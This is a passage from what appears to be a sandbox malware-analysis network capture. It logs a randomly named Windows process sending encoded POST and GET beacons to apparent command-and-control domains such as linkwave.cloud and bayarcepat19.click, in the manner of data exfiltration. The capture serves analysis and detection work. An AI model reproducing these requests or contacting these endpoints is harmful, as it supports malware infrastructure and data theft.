32 46 4c 6c 30 61 4d 32 58 75 6c 4b 4f 48 4f 57 63 41 50 54 39 53 52 72 6e 53 35 56 68 79 54 65 56 47 4a 74 68 50 76 73 35 79 79 4d 2b 76 32 74 45 4b 6c 6e 56 69 6f 35 42 43 36 59 52 78 77 6f 71 5a 31 76 50 43 45 51 45 2f 75 37 36 48 52 36 6b 6f 47 66 6e 69 31 6e 53 61 78 38 67 37 6d 39 4d 35 78 69 2b 62 43 4d 42 64 2f 4c 79 4d 72 2f 5a 6f 6c 47 72 6e 30 75 42 49 56 44 6e 7a 39 63 78 36 45 30 78 37 55 69 47 67 54 50 6f 33 51 68 51 78 34 47 42 4e 57 43 68 77 4d 48 7a 63 68 75 6f 63 38 71 5a 42 39 69 65 72 51 4b 4b 39 4a 4f 6a 59 38 36 64 63 61 72 35 77 75 54 2b 70 39 58 55 65 57 54 48 45 4a 78 6f 6c [TRUNCATED] Data Ascii: gHCXmDU=GRLkTkXkttl+KsWwIk04oZeqm5uW77G543h8uDXx3r+auLduoj2pzwZDRl7a5qDFis5WJSGdAWCGrp8xHksCpuJgE3sob4hVy8yqwMtE56IyV2wmipQvpSRag/qziSsE2FLl0aM2XulKOHOWcAPT9SRrnS5VhyTeVGJthPvs5yyM+v2tEKlnVio5BC6YRxwoqZ1vPCEQE/u76HR6koGfni1nSax8g7m9M5xi+bCMBd/LyMr/ZolGrn0uBIVDnz9cx6E0x7UiGgTPo3QhQx4GBNWChwMHzchuoc8qZB9ierQKK9JOjY86dcar5wuT+p9XUeWTHEJxolR5bFQyWqWjutxA7LlVDdcsIMhb7XvJhRgsn21UBqtHYo8mYVoPoL6Zq4W8ZWthlkgg70K+NcnvYlUYbnnfOCW0sPAlq2TfALeeyacAa9H0yjmUuNSMpl5+MBy951MM72PwzpwwdHJZyhQxv9ThLLmelm6EJjWrKP44tnFAqf2ZThMMJLAhKoXbHdln6Vn/d3JYgKG/IoP8ryvXdCiRGqu74qrVIr63jt68/YFqfLThOr7M/ojIgw1Cu1WiB26ClRJ1NQomHnhXx0IPYJkYgRgmxOtkDSx3iF3cJtB47NV5iMm7JlJ9P/lIX4k9q80WqEdKQzk4gFcmwrzO9a6fNIwDeco/kP46fe1E4OobUPJPzzIxSPXTm1V7dilB+V4KlPqtAD/QeVzOEHSeMLMInTuumwKtdYFv3gwxH7LuMN+y1mriBpv9scmpfJwatdBfg1KXaDQ6gOaqqos6pmQMR05e8N+1W1SrxITWRuGQk6GPkNfadkSy42gkiXVXSTMGALTRQaX+Ot+mEIABWU7NChV3wsNEk8LzfOOKrB/iTdHalGsS9bUpm5UsG35v5bYy46uGqs+MiDC4EH/PGN1nSpFoCaDUb4SxPRyercVmnzUMg6HZ3yYDiVSILKX4o/zUy0/QZH6vCQsIi79OKGI7ZAxskGk0jZ6ODoPI [TRUNCATED]
Sep 30, 2024 18:46:18.148269892 CEST	980	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:46:17 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49740	199.192.21.169	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:20.004842043 CEST	545	OUT	GET /ghvt/?gHCXmDU=LTjEQRzJtYpWLPC7D2gy6fienZfrxvC35gdjmmThy52R4q9H0AiUwAwLJzzKst3lsJoWNw2bCWGayp08MXQ4hrVkAG0NSKhN96qT0ct2vaZlIyhDhNk8pUo7hoK/rit8rQ==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.technectar.top Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:46:20.598527908 CEST	995	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:46:20 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49741	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:25.713385105 CEST	809	OUT	POST /l8vr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Referer: http://www.linkwave.cloud/l8vr/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 4c 57 59 36 35 43 63 76 59 30 37 46 57 49 56 52 54 38 54 47 4a 46 42 75 71 72 34 45 4a 38 78 2f 35 42 4b 4f 61 59 39 43 70 6f 62 53 77 39 46 6b 50 44 66 42 4e 4b 73 5a 42 6d 30 48 7a 46 74 4e 75 58 66 36 4d 46 46 44 75 4b 41 4b 41 6f 73 4c 45 4b 57 4d 58 73 43 54 47 51 30 39 69 4d 48 50 4e 53 37 59 2b 68 6b 66 70 42 50 75 74 53 47 76 69 47 77 4f 53 56 32 69 46 51 79 61 66 6b 72 30 37 77 71 65 71 42 6d 47 63 44 62 68 55 59 65 4c 70 75 74 33 31 73 74 53 72 34 79 6e 61 64 37 6a 63 37 63 67 45 6e 63 34 4d 4a 6d 7a 77 51 6d 63 44 6b 64 34 38 47 51 4b 33 38 2b 36 77 74 51 6d 63 54 47 55 64 67 45 3d Data Ascii: gHCXmDU=LWY65CcvY07FWIVRT8TGJFBuqr4EJ8x/5BKOaY9CpobSw9FkPDfBNKsZBm0HzFtNuXf6MFFDuKAKAosLEKWMXsCTGQ09iMHPNS7Y+hkfpBPutSGviGwOSV2iFQyafkr07wqeqBmGcDbhUYeLput31stSr4ynad7jc7cgEnc4MJmzwQmcDkd48GQK38+6wtQmcTGUdgE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49742	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:28.368000984 CEST	829	OUT	POST /l8vr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Referer: http://www.linkwave.cloud/l8vr/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 4c 57 59 36 35 43 63 76 59 30 37 46 57 6f 6c 52 66 2f 4c 47 42 46 42 70 32 37 34 45 47 63 78 37 35 42 47 4f 61 5a 34 50 70 65 4c 53 31 6f 35 6b 64 79 66 42 4d 4b 73 5a 4a 47 30 43 33 46 74 38 75 58 62 79 4d 48 52 44 75 4f 67 4b 41 71 30 4c 45 39 4b 4e 57 38 43 52 66 41 30 2f 2f 63 48 50 4e 53 37 59 2b 68 78 43 70 46 72 75 74 47 43 76 67 6a 51 52 62 31 32 68 45 51 79 61 62 6b 72 6f 37 77 71 38 71 44 53 6f 63 41 6a 68 55 64 69 4c 70 2f 74 6f 37 73 74 55 31 34 7a 77 53 66 57 71 61 74 45 69 44 58 64 4d 58 59 6d 77 78 6d 4c 32 5a 47 56 51 76 6d 38 79 6e 76 32 4e 68 64 78 50 47 77 57 6b 44 33 51 65 66 64 47 64 75 4d 67 36 4e 44 47 66 32 52 64 32 6d 2b 57 6a Data Ascii: gHCXmDU=LWY65CcvY07FWolRf/LGBFBp274EGcx75BGOaZ4PpeLS1o5kdyfBMKsZJG0C3Ft8uXbyMHRDuOgKAq0LE9KNW8CRfA0//cHPNS7Y+hxCpFrutGCvgjQRb12hEQyabkro7wq8qDSocAjhUdiLp/to7stU14zwSfWqatEiDXdMXYmwxmL2ZGVQvm8ynv2NhdxPGwWkD3QefdGduMg6NDGf2Rd2m+Wj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49743	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:31.459141970 CEST	1846	OUT	POST /l8vr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Referer: http://www.linkwave.cloud/l8vr/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 4c 57 59 36 35 43 63 76 59 30 37 46 57 6f 6c 52 66 2f 4c 47 42 46 42 70 32 37 34 45 47 63 78 37 35 42 47 4f 61 5a 34 50 70 65 44 53 70 4b 68 6b 50 68 48 42 50 4b 73 5a 56 57 30 44 33 46 74 62 75 57 2f 2b 4d 48 63 34 75 49 73 4b 47 2f 67 4c 4e 6f 2b 4e 63 38 43 52 51 67 30 2b 69 4d 47 46 4e 53 72 63 2b 68 68 43 70 46 72 75 74 41 75 76 70 57 77 52 64 31 32 69 46 51 79 73 66 6b 72 4d 37 77 79 47 71 44 57 57 64 78 44 68 56 35 2b 4c 76 4e 46 6f 6b 38 74 57 68 59 7a 34 53 66 61 70 61 70 73 49 44 55 42 69 58 66 53 77 78 6e 32 51 4d 48 74 6d 38 46 55 77 71 76 36 61 2f 59 41 74 46 6d 72 56 4a 67 30 51 63 75 32 6f 6e 34 5a 69 4c 69 58 74 31 33 6c 64 75 62 33 52 69 4d 71 51 75 4d 77 2b 6f 4c 4c 4d 31 51 48 68 59 31 2b 32 54 69 57 64 57 49 76 62 34 53 67 70 6c 6f 6a 2f 43 61 72 72 75 7a 4c 67 4a 74 78 64 34 77 70 4d 66 61 64 66 37 77 6f 42 53 42 6b 42 47 48 6a 50 69 48 58 31 47 37 36 64 4b 41 6f 49 47 51 70 78 57 59 4f 64 45 52 63 73 35 44 73 6f 31 4f 73 45 33 31 52 4a 54 39 30 54 6b 73 [TRUNCATED] Data Ascii: gHCXmDU=LWY65CcvY07FWolRf/LGBFBp274EGcx75BGOaZ4PpeDSpKhkPhHBPKsZVW0D3FtbuW/+MHc4uIsKG/gLNo+Nc8CRQg0+iMGFNSrc+hhCpFrutAuvpWwRd12iFQysfkrM7wyGqDWWdxDhV5+LvNFok8tWhYz4SfapapsIDUBiXfSwxn2QMHtm8FUwqv6a/YAtFmrVJg0Qcu2on4ZiLiXt13ldub3RiMqQuMw+oLLM1QHhY1+2TiWdWIvb4Sgploj/CarruzLgJtxd4wpMfadf7woBSBkBGHjPiHX1G76dKAoIGQpxWYOdERcs5Dso1OsE31RJT90TksaJR9QB2z9icFxqs7kysUR6rt8hLmjl/rnDML2FU3D5vJsUH5rsucdRoRjrOGj9lqK6kDj84blaWm3Mcmu3Mbq787AhBmiqPThak2IllMNlRh/rVKFVHKuD9wkISDlen+Iv4spmSby9rlz2m9tMAzZ1r0JCVlmW/nKS7+6To2dQqFeZiQvDv1TdYph2cengVy5czRT1IDoOuKQbvjbhRKNXAUCL6gpMRKd3+NUShtGqh0Ert9/0zSBtHC4Lxu0BaFrKagLe4//sONhF9pOb5GbZbdK3NKLqM6mBkAY0WNMf5vZq04Hujo6FhlwbkuRyTi27rcIn9c4ModP3NGvo1mmKUSww5SErK2piDfZuOKskyyLq7k+C5hLV5c8CSYdpHVjVD2P1IXlHdHyl/UFjlMoMKd6ZKfAhyOhL9G1LMPGzdZl7rnz0j0SPal8VuPCR6Iw5hNjcynGBPIMCJaxo9917obUiDuU+KeBayV5pb6jNgGaiMHfjQiaiSGLhpdDeeVYKTI4Q+rrAjhS+vVwignskAQT9PBvxcYtwG0hbhROh+pQixVwLV7xAzARDYdywyc0PwHMrTgCrtIREbD/s6Xcv8IhsgO35iBYRXJGIrJDVhDKxPD/AwVlIj+h69sch1BG9vELLrZoJH8ZzxoLz1PjQ1eW3BmizxFTU [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49744	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:34.023124933 CEST	545	OUT	GET /l8vr/?gHCXmDU=GUwa608LSzm8fYtcdeTRGyNyj51nBuUp00umbYRCm/TJjJxpSTDMONkqNmsHjnZjkXKqFncjqJIueqMvFavlXIaPeRkD7t3kPxbZ1SpX5GCbw23hlnYlJ0j4JxqETFq6pw==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.linkwave.cloud Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:46:34.481323957 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 16:46:34 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 48 43 58 6d 44 55 3d 47 55 77 61 36 30 38 4c 53 7a 6d 38 66 59 74 63 64 65 54 52 47 79 4e 79 6a 35 31 6e 42 75 55 70 30 30 75 6d 62 59 52 43 6d 2f 54 4a 6a 4a 78 70 53 54 44 4d 4f 4e 6b 71 4e 6d 73 48 6a 6e 5a 6a 6b 58 4b 71 46 6e 63 6a 71 4a 49 75 65 71 4d 76 46 61 76 6c 58 49 61 50 65 52 6b 44 37 74 33 6b 50 78 62 5a 31 53 70 58 35 47 43 62 77 32 33 68 6c 6e 59 6c 4a 30 6a 34 4a 78 71 45 54 46 71 36 70 77 3d 3d 26 47 68 39 3d 67 38 75 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gHCXmDU=GUwa608LSzm8fYtcdeTRGyNyj51nBuUp00umbYRCm/TJjJxpSTDMONkqNmsHjnZjkXKqFncjqJIueqMvFavlXIaPeRkD7t3kPxbZ1SpX5GCbw23hlnYlJ0j4JxqETFq6pw==&Gh9=g8u8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49745	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:39.529092073 CEST	821	OUT	POST /5hcm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bayarcepat19.click Origin: http://www.bayarcepat19.click Referer: http://www.bayarcepat19.click/5hcm/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 67 4e 66 45 44 55 76 67 50 72 79 7a 56 55 4b 4d 66 43 46 51 43 71 4c 4d 55 4d 74 4a 6c 58 6e 48 46 33 65 30 4d 6d 70 64 75 2f 6e 72 4a 79 5a 57 46 52 6a 43 36 4a 71 6e 57 44 46 59 49 6d 69 41 52 48 41 4f 51 43 58 33 5a 59 5a 58 58 4a 67 44 67 63 78 41 6b 45 4e 6d 6f 70 36 69 53 69 65 4d 59 75 65 41 31 68 47 39 30 38 30 73 69 4e 76 58 54 31 51 7a 41 72 35 46 64 2b 73 77 2f 2b 4d 70 67 46 30 42 75 49 71 6c 53 43 49 4f 73 41 6e 61 51 50 61 43 70 2b 65 76 47 65 63 65 48 32 4c 64 59 7a 4c 49 6a 39 36 62 46 4b 39 45 56 47 61 57 61 2f 79 66 76 71 59 54 2f 30 47 4f 54 67 4b 4e 55 70 45 46 79 67 45 3d Data Ascii: gHCXmDU=gNfEDUvgPryzVUKMfCFQCqLMUMtJlXnHF3e0Mmpdu/nrJyZWFRjC6JqnWDFYImiARHAOQCX3ZYZXXJgDgcxAkENmop6iSieMYueA1hG9080siNvXT1QzAr5Fd+sw/+MpgF0BuIqlSCIOsAnaQPaCp+evGeceH2LdYzLIj96bFK9EVGaWa/yfvqYT/0GOTgKNUpEFygE=
Sep 30, 2024 18:46:40.039232969 CEST	830	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:46:39 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:46:39 GMT Location: https://www.bayarcepat19.click/5hcm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aihwm3lqS7zWyNIzJ%2FkrOaElLwtSRr5LQnB%2Bysc7qgYpc3FRK8rlW0E%2FmM%2FEd6fRJN2hnzijzU2f5ADtO4Wi4TuQs3WQFIAS4FHsk8MJm0E%2FeaZcV5cre2b8Lt%2F8DHDp9fAG29SgfzUx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8cb5b0bb8ef8422e-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49746	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:42.069973946 CEST	841	OUT	POST /5hcm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bayarcepat19.click Origin: http://www.bayarcepat19.click Referer: http://www.bayarcepat19.click/5hcm/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 67 4e 66 45 44 55 76 67 50 72 79 7a 56 30 61 4d 65 6c 78 51 45 4b 4c 50 52 4d 74 4a 76 33 6e 44 46 33 61 30 4d 6e 73 59 76 4e 44 72 4b 57 56 57 45 51 6a 43 32 70 71 6e 4f 7a 46 42 46 47 6a 43 52 48 45 77 51 44 72 33 5a 59 64 58 58 4c 34 44 68 72 74 42 6b 55 4e 6b 75 70 36 67 64 43 65 4d 59 75 65 41 31 68 53 44 30 38 63 73 69 35 72 58 54 57 49 79 4f 4c 35 45 61 2b 73 77 75 4f 4d 74 67 46 30 2f 75 4a 33 49 53 41 77 4f 73 41 58 61 51 2b 61 42 79 75 65 74 49 2b 64 75 48 56 36 56 5a 46 48 49 2b 63 61 65 62 37 5a 69 5a 51 33 38 41 64 36 33 38 4b 30 72 76 6e 4f 35 43 51 72 6b 4f 4b 55 31 73 33 54 57 65 52 61 6e 35 6b 71 39 6f 69 77 79 5a 34 4a 38 51 78 62 32 Data Ascii: gHCXmDU=gNfEDUvgPryzV0aMelxQEKLPRMtJv3nDF3a0MnsYvNDrKWVWEQjC2pqnOzFBFGjCRHEwQDr3ZYdXXL4DhrtBkUNkup6gdCeMYueA1hSD08csi5rXTWIyOL5Ea+swuOMtgF0/uJ3ISAwOsAXaQ+aByuetI+duHV6VZFHI+caeb7ZiZQ38Ad638K0rvnO5CQrkOKU1s3TWeRan5kq9oiwyZ4J8Qxb2
Sep 30, 2024 18:46:42.538909912 CEST	822	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:46:42 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:46:42 GMT Location: https://www.bayarcepat19.click/5hcm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gffSJQXggBPncFzNL6zI1bM8Kchy8cMSa797D0G9KWpVkWls%2FiSKL3Ur0L5Ae8dooI4r3IaPgXjA8kz4og6wF48Lf5t%2B2X4FxHJxmVdDkMs49wcTUPeSYt7KEsS6D2SPkr9V7HRgeOhV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8cb5b0cb7cf1185d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 